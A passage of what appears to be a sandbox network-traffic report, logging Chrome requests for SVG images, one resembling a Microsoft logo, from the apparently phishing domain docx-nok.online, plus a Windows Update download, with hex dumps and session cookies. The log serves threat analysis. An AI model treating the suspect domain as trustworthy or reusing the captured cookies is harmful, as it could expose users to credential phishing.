2024-04-19 15:01:54 UTC	622	IN	Data Raw: 36 33 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 Data Ascii: 638<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689
2024-04-19 15:01:54 UTC	977	IN	Data Raw: 33 2c 30 2c 30 2c 31 2c 32 38 2e 35 2c 31 33 2e 34 35 33 61 31 30 2e 34 2c 31 30 2e 34 2c 30 2c 30 2c 31 2c 31 2e 31 30 39 2c 32 2e 36 32 35 41 31 31 2e 36 31 36 2c 31 31 2e 36 31 36 2c 30 2c 30 2c 31 2c 33 30 2c 31 39 61 31 30 2e 30 31 35 2c 31 30 2e 30 31 35 2c 30 2c 30 2c 31 2d 2e 31 32 35 2c 31 2e 35 37 38 2c 31 30 2e 38 37 39 2c 31 30 2e 38 37 39 2c 30 2c 30 2c 31 2d 2e 33 35 39 2c 31 2e 35 33 31 5a 6d 2d 32 2c 2e 38 34 34 4c 32 37 2e 32 31 39 2c 32 32 2e 36 34 31 61 31 34 2e 37 31 36 2c 31 34 2e 37 31 36 2c 30 2c 30 2c 30 2c 2e 35 36 32 2d 31 2e 37 38 32 41 37 2e 37 35 31 2c 37 2e 37 35 31 2c 30 2c 30 2c 30 2c 32 38 2c 31 39 61 38 2e 37 38 36 2c 38 2e 37 38 36 2c 30 2c 30 2c 30 2d 2e 37 2d 33 2e 35 2c 38 2e 39 2c 38 2e 39 2c 30 2c 30 2c 30 2d 31 2e Data Ascii: 3,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.
2024-04-19 15:01:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.18	49742	104.21.35.209	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:54 UTC	572	OUT	GET /ASSETS/img/m_.svg HTTP/1.1 Host: docx-nok.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:54 UTC	751	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:54 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Fri, 26 Apr 2024 14:33:11 GMT last-modified: Fri, 19 Apr 2024 14:16:40 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 1723 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1n0DIuUCbxlIhtpZ5yTaGLENnh5yx2LR9GbHGe7Wp4aY1eNqi2C3GWwI3Z%2Bc9mgyCO%2B%2FxeueLjs27uH3xY7DX%2B6riEXyKQ2LgDReLZ0K5nwhceiZ8NkehSpuJRM4tzmOtWY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5ca096f7bc6-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:54 UTC	618	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 2e 37 30 37 2c 30 2c 30 2c 31 2d 34 2e 39 31 38 2d 34 2e 39 30 38 2c 35 2e 36 34 31 2c 35 2e 36 34 31 2c 30 2c 30 2c 31 2c 31 2e 34 2d 33 2e 39 33 32 2c 35 2e 30 35 35 2c 35 2e 30 35 35 2c 30 2c 30 2c 31 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e 34 31 36 2c 33 2e 32 31 36 Data Ascii: .707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 2d 2e 37 34 31 2c 31 2e 30 32 39 2c 31 2e 30 32 39 2c 30 2c 30 2c 30 2d 2e 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 34 2c 30 2c 30 2c 30 Data Ascii: -.741,1.029,1.029,0,0,0-.39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.974,0,0,0
2024-04-19 15:01:54 UTC	302	IN	Data Raw: 34 31 2c 30 2c 30 2c 31 2d 2e 37 33 36 2d 32 2e 33 36 33 5a 22 20 66 69 6c 6c 3d 22 23 37 33 37 33 37 33 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 Data Ascii: 41,0,0,1-.736-2.363Z" fill="#737373"/><rect width="10.931" height="10.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069" width="1
2024-04-19 15:01:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.18	49743	104.21.35.209	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:54 UTC	602	OUT	GET /x/0a6095cf83124146bdbff28bf2470f1566228761d30a7 HTTP/1.1 Host: docx-nok.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:55 UTC	742	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:55 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Fri, 26 Apr 2024 15:01:55 GMT last-modified: Fri, 19 Apr 2024 14:16:40 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LOBurg6WRa9IfEAIRKIA0hc99NoGzwAFw8NxX9fijIHC7y5%2FPLfAD9giiArBb79p9W5MY23FlylosxriS%2BervGjKqLFQn2fwWYQRea%2FfNNmeK5TdJ4ESYuyy0LBPwHIn0C4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5caa9f68bb6-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:55 UTC	627	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-19 15:01:55 UTC	1244	IN	Data Raw: 2d 34 35 35 2e 35 39 35 20 31 32 34 39 2e 38 2d 31 30 31 37 2e 36 53 39 35 36 2e 30 34 36 2d 38 31 39 2e 36 20 32 36 35 2e 38 2d 38 31 39 2e 36 2d 39 38 34 2d 33 36 34 2e 30 30 35 2d 39 38 34 20 31 39 38 2d 34 32 34 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 Data Ascii: -455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) sc
2024-04-19 15:01:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.18	49744	104.21.35.209	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:54 UTC	602	OUT	GET /o/0a6095cf83124146bdbff28bf2470f1566228761d30cc HTTP/1.1 Host: docx-nok.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:55 UTC	742	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:55 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Fri, 26 Apr 2024 15:01:55 GMT last-modified: Fri, 19 Apr 2024 14:16:40 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XsqU77xfshiAFMZOwyAVpXaP2beTp1sbTp1iHVuhiLAMA%2FQ4GWSYAAom7BwsNdj54xitDoHIxlOuKFrUIcjVKWuhkDBSLOxNKEiTIt3R4PXCNrRqKIe9SY4%2BpgOMvT1%2B3oM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5cb4aec07e2-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:55 UTC	627	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-19 15:01:55 UTC	1369	IN	Data Raw: 31 2d 34 2e 39 31 38 2d 34 2e 39 30 38 2c 35 2e 36 34 31 2c 35 2e 36 34 31 2c 30 2c 30 2c 31 2c 31 2e 34 2d 33 2e 39 33 32 2c 35 2e 30 35 35 2c 35 2e 30 35 35 2c 30 2c 30 2c 31 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e 34 31 36 2c 33 2e 32 31 36 2c 33 2e 32 31 36 2c 30 2c Data Ascii: 1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,
2024-04-19 15:01:55 UTC	1369	IN	Data Raw: 32 39 2c 31 2e 30 32 39 2c 30 2c 30 2c 30 2d 2e 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 34 2c 30 2c 30 2c 30 2d 31 2e 30 37 38 2d 2e 35 Data Ascii: 29,1.029,0,0,0-.39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.974,0,0,0-1.078-.5
2024-04-19 15:01:55 UTC	293	IN	Data Raw: 2e 37 33 36 2d 32 2e 33 36 33 5a 22 20 66 69 6c 6c 3d 22 23 37 33 37 33 37 33 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 Data Ascii: .736-2.363Z" fill="#737373"/><rect width="10.931" height="10.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069" width="10.931" he
2024-04-19 15:01:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.18	49745	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:57 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GHPArUCwvScl3Mw&MD=veMr7Bd5 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-19 15:01:57 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 9d9d288f-14d5-4cdd-a2cd-ed1022360054 MS-RequestId: 45cdf98e-6fb9-4388-98dc-881988aea23a MS-CV: AF81IxVheU6itxvw.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 19 Apr 2024 15:01:57 GMT Connection: close Content-Length: 24490
2024-04-19 15:01:57 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-19 15:01:57 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.18	49749	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
